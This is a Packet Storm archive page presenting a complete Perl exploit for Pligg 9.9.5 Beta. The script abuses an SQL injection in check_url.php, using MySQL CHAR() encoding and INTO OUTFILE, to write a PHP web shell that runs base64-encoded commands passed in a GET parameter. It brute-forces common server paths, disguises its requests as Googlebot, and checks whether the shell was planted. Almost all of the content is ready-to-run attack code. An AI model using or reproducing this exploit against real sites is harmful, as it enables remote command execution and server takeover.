what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Pligg 9.9.5b Upload Shell / SQL Injection Exploit

Pligg 9.9.5b Upload Shell / SQL Injection Exploit
Posted Dec 30, 2008
Authored by Ams

Pligg version 9.9.5b upload shell and SQL injection exploit that leverages check_url.php.

tags | exploit, shell, php, sql injection, file upload
SHA-256 | c63cc0e77524a408b8b6a10e33d4da38d7d8d100056530404ad1218aa091bbd8

Pligg 9.9.5b Upload Shell / SQL Injection Exploit

Change Mirror Download
#!/usr/bin/perl

=about

Pligg 9.9.5 Beta Perl exploit

AUTHOR
discovered & written by Ams
ax330d [doggy] gmail [dot] com

VULN. DESCRIPTION:
Vulnerability hides in 'evb/check_url.php'
unfiltered $_GET['url'] parameter.
Actually, it has filtration.
Filtration strips tags and converts html
special chars , but it is not enough,
because we can use MySQLs CHAR() function
to convert shell to allowed chars.

EXPLOIT WORK:
Firtsly, exploit tryes to get full server
path, but if not succeeded, then it will brute it.
If path has been found then exploit will try
to upload tiny shell via SQl-Injection.

REQUIREMENTS:
MySQL should be able to write to file.
Know full server path to portal.
magiq_quotes_gpc=off

=cut

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;

Banner();

$| = 1;
my $expl_url = shift or Usage();
my $serv_path = shift || '';

my $spider = LWP::UserAgent->new;
$spider->timeout( 9 );
$spider->agent('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');

my $def_shell = '/libs/manager.php';
my $shell = q(<?php @eval(base64_decode($_GET['cmd']));?>);
my $sql_shell = join ',', map { ord } split //, $shell;

my @paths = qw(
/var/www/htdocs /var/www/localhost/htdocs /var/www /var/wwww/hosting /var/www/html /var/www/vhosts
/home/www /home/httpd/vhosts
/usr/local/apache/htdocs
/www/htdocs
);

exploit( $expl_url );

sub exploit {

$_ = shift;
print "\n\tExploiting: $_";

my ( $packet, $rcvd, $injection );
my ( $prot, $host, $path, ) = m{(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?};

my $req = GET "$prot://$host$path/evb/check_url.php";
my $res = $spider->request( $req );
$serv_path = $res->content =~ /template\s+in\s+(.*?)config\.php/
? $1
: $serv_path;

if ( $serv_path ne '' ) {

print "\n\tFound server path: $serv_path";

chomp( $serv_path );
$injection = "' UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$def_shell'-- ";
$req = GET "$prot://$host$path/evb/check_url.php?url=" . Url_Encode( $injection );
$res = $spider->request( $req );

} else {

print "\n\tUnable to find path, starting bruteforce...\n";

for $serv_path ( @paths ) {

printf "\tTrying: $serv_path$path$def_shell %s\r", ' ' x 10;

chomp( $serv_path );
$injection = "' UNION SELECT CHAR($sql_shell),'' INTO OUTFILE '$serv_path$path$def_shell'-- ";
$req = GET "$prot://$host$path/evb/check_url.php?url=" . Url_Encode( $injection );
$res = $spider->request( $req );
}
}

# Checking for shell presence
$req = HEAD "http://$host$path$def_shell";
$res = $spider->request( $req );

if ( $res->status_line =~ /200/ ) {
print "\n\tExploited: http://$host$path$def_shell\n\n";
} else {
print "\n\tExploiting failed\n\n";
}

}

# Light wheel...
sub Url_Encode {
$_ = shift;
s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
return $_;
}

sub Usage {
print "\n\tUsage:\t$0 http://site.com [full server path]

Example:
$0 http://localhost/ /var/www/htdocs
$0 http://localhost/\n\n";
exit;
}

sub Banner {
print "
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pligg 9.9.5 Beta Perl exploit
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
}


Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close